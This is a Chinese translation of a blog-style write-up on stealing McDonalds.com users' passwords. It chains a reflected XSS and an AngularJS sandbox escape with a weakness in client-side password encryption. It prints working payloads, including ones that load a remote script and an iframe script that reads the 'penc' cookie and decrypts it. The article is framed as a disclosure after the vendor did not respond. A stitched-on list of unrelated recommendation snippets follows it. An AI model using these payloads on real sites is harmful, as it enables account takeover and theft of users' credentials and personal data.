这是一篇关于如何利用漏洞来窃取麦当劳网站注册用户密码的文章,昨天只是出了这么一个漏洞,但是麦当劳相关负责人还是没有修补,所以作者就写了这么一篇攻略。

最好的防御方式就是攻击,只有知道黑客是如何攻击的,才能找到好的解决方案。

本文来源finnwea.com,由悬镜安全实验室翻译,如需转载请标注来源http://www.xmirror.cn/

通过滥用不安全的加密存储漏洞(链接)和反映的服务器跨站点脚本漏洞(链接),可以窃取和解密来自麦当劳用户的密码。

此外,其他个人详细信息,如用户的姓名,地址和联系方式也可能被盗。

概念证明-通过AngularJS沙箱逃脱反射XSS

McDonalds.com包含反映页面源中的搜索参数(q)的值的搜索页面。

所以当我们搜索**- 测试反射测试 -**它会是这样:

使用链接:

https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********

麦当劳使用AngularJS,所以我们可以尝试使用搜索值打印唯一的范围ID。 我们可以通过将q参数值更改为{{$ id}}来实现。

我们可以看到{{$ id}}被转换为9 AngularJS范围的唯一ID(单调递增)。

使用链接:

https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}

使用{{alert(1)}}作为值不会工作,因为所有AngularJS代码都在沙箱中执行。

然而,AngularJS沙盒是不是真的安全。 事实上,它不应该被信任。

它甚至在1.6版本(源)中被删除,因为它给了一个假的安全感。

PortSwigger创建了一个漂亮的博客文章关于转义AngularJS沙箱(链接)。

我们首先需要找到AngularJS版本的McDonalds.com。 我们可以通过在控制台中执行angular.version来做到这一点。

版本是1.5.3,所以我们需要的沙箱转义是{{x = {'y':''。constructor.prototype}; x ['y']。

charAt = []。join; $ eval('x = alert(1)');}}。

我们可以使用此沙盒逃逸作为搜索值,这会产生警报。

我们甚至可以使用以下沙箱转义来加载外部JavaScript文件,从而产生以下警报。

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

JavaScript可以从另一个域加载,因为McDonald不使用Content-Security-Policy头来排除它。

窃取用户的密码

我在McDonalds.com上注意到的另一件事是他们的登录页面,其中包含一个非常特殊的复选框。

通常您可以在登录时选中“记住我”,麦当劳的登录页面提供了记住密码的选项。

我搜索所有的JavaScript的关键字密码,我发现了一些有趣的代码,解密密码。

这里有些事你是不能做的,它是解密密码客户端(甚至存储密码使用双向加密)。

我试图运行代码自己,它的工作!

penc值是存储一年的cookie。 大声笑中!

麦当劳使用CryptoJS加密和解密敏感数据。 他们对每个用户使用相同的密钥和iv,这意味着我只需要偷用penc cookie来解密某人的密码。

我试图解密我的密码在搜索页面上使用恶意搜索有效载荷,但它没有工作。 由于AngularJS沙箱转义有效内容用join方法替换charAt方法,getCookie方法失败。

getCookie方法通过检查charAt(0)是否为空格来尝试从cookie值中修剪空格。

在下面的图像中,您可以看到.charAt(0)返回一个字符串,如果在搜索页上执行,则返回0。

我写了一些JavaScript在iframe加载主页,并使用该iframe窃取cookie。

由于有效载荷由于沙箱逃逸而被执行多次,所以我跟踪变量xssIsExecuted,使得有效载荷只执行一次。

if (!window.xssIsExecuted) {window.xssIsExecuted = true;var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');$('body').append(iframe);iframe.on('load', function() {var penc = iframe[0].contentWindow.getCookie('penc');alert(iframe[0].contentWindow.decrypt(penc));
});
}

我们现在可以使用以下沙箱转义,这会在警告框中生成我的密码!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}

很容易做到这些的。 我试图联系麦当劳多次报告这个问题,但不幸的是他们没有回应,这就是为什么我决定公开这个漏洞。

我是如何利用漏洞窃取麦当劳用户的账号和密码的相关推荐

  1. 麦当劳重金收购一大数据创业公司,持续加码数字化转型

    提起麦当劳,大家首先想到的是什么?可能更多是"巨无霸"汉堡,而非大数据吧?但这一切将很快发生变化:快餐业巨头正在以一种规模可观的方式热情拥抱机器学习技术. \n 麦当劳公司即将公布 ...

  2. 黑客窃取 4 亿 Twitter 用户记录,勒索马斯克破财消灾

    整理 | 何苗 出品 | CSDN(ID:CSDNnews) 上周五,一个用户名为 Ryushi 的用户在黑客论坛 Breached 上发布了一个帖子声称,已成功利用漏洞抓取了超 4 亿 Twitte ...

  3. 如何利用Slack客户端漏洞窃取Slack用户下载的所有文件

    前言 在本文中,我们将主要讨论一个值得关注的功能滥用问题,通过该漏洞,攻击者可以窃取甚至控制Slack用户使用Windows环境的Slack桌面应用程序的下载内容.根据我们的协调披露政策,已经通过Ha ...

  4. 麦当劳一“发币”,币圈就闹笑话,加密数字货币到底是什么?

    麦当劳要发币的消息一出,币圈自媒体都不淡定了,一时间"麦当劳也发币了"."将流行吃汉堡即挖矿"等等消息满天飞,搞不清楚的状况的人都信以为真,舆论被带偏有时候就是 ...

  5. 麦当劳数字化转型中获得的6个数据科学经验

    摘要 美国大数据公司Civis Analytics于2017年底与麦当劳北美市场营销和数据科学团队建立了数据技术合作伙伴关系,经过一年半的努力,近期在纽约广告周上共同展示了一些重要的学习成果. 麦当劳 ...

  6. 看我是如何利用升级系统一键GetShell

    i春秋作家:小猪 原文来自:看我是如何利用升级系统一键GetShell 漏洞名称:看我是如何利用升级系统一键GetShell 程序下载地址:https://pan.baidu.com/s/1VdoPL ...

  7. cosx的麦克劳林级数是多少_cosx泰勒展开

    泰勒公式在数学中,泰勒公式是一个用函数在某点的信息描述其附近取值的公式....的项用乘法分配律写在一起,剩余的项写在一起,刚好 是 cosx,sinx 的展开式...... 任取 在闭区间 上 阶连续 ...

  8. 民航资源网招聘出奇兵效法麦当劳

                                                                                                         ...

  9. 利用计算机漏洞犯罪,利用漏洞非法谋利2000元怎么处罚

    利用漏洞非法谋利2000元怎么处罚 依据我国相关法律的规定,利用计算机漏洞非法谋利2000元的,如果是实施了盗窃的行为,就会构成盗窃罪,可以追究刑事责任. <中华人民共和国刑法> 第二百八 ...

最新文章

  1. 二叉搜索树的第 k 大节点(递归,反中序遍历 + 提前返回)
  2. 20211003 矩阵的值域(列空间)和核空间(零空间)
  3. MyEclipse使用总结——使用MyEclipse打包带源码的jar包
  4. C语言:以scanf的使用为例,对缓冲区的理解
  5. Linux find和grep的区别
  6. python交通调查数据处理_python 小型交通调查后的数据处理(数车)
  7. 计算机c语言知识点txt,计算机二级C语言(重要知识点)
  8. 协程分析之 context 上下文切换
  9. javascript跑马灯效果
  10. 海贼王游戏--EM游戏03--初出茅庐
  11. ScaleAnimation和TranslateAnimation同时使用
  12. 信号与系统--幅度谱和相位谱
  13. 3dsMax Biped骨骼缩放
  14. 【Excel】工作中会用到的excel操作和技巧
  15. hypermill 2018多轴编程带刀路3D图档
  16. NFC手机手环脱机模拟加密门禁卡
  17. 色阶、灰度色彩模式、灰度等级
  18. 摩托罗拉Android+7寸,3.7英寸电容屏 摩托3G旗舰XT800发布
  19. java 获取短日期date_Java中的最短日期
  20. Redis Essentials 读书笔记 - 第六章: Common Pitfalls (Avoiding Traps)

热门文章

  1. 具体事物到计算机数据的转换过程,5.3.1 操作数据库教学设计第二课时
  2. flutter仿微信ui
  3. SQL Server的日志传送
  4. 故宫景点功课16:内廷西路(上)
  5. 计算机命令行修改ip,在命令行里修改网络IP地址
  6. 代数方程根在复平面上分布的几何证明
  7. Guava(瓜娃)使用笔记
  8. 影音转霸2012 注册破解方法纪要
  9. php去除amp;nbsp,php trim函数删除nbsp空格详解
  10. 前端agl分页的写法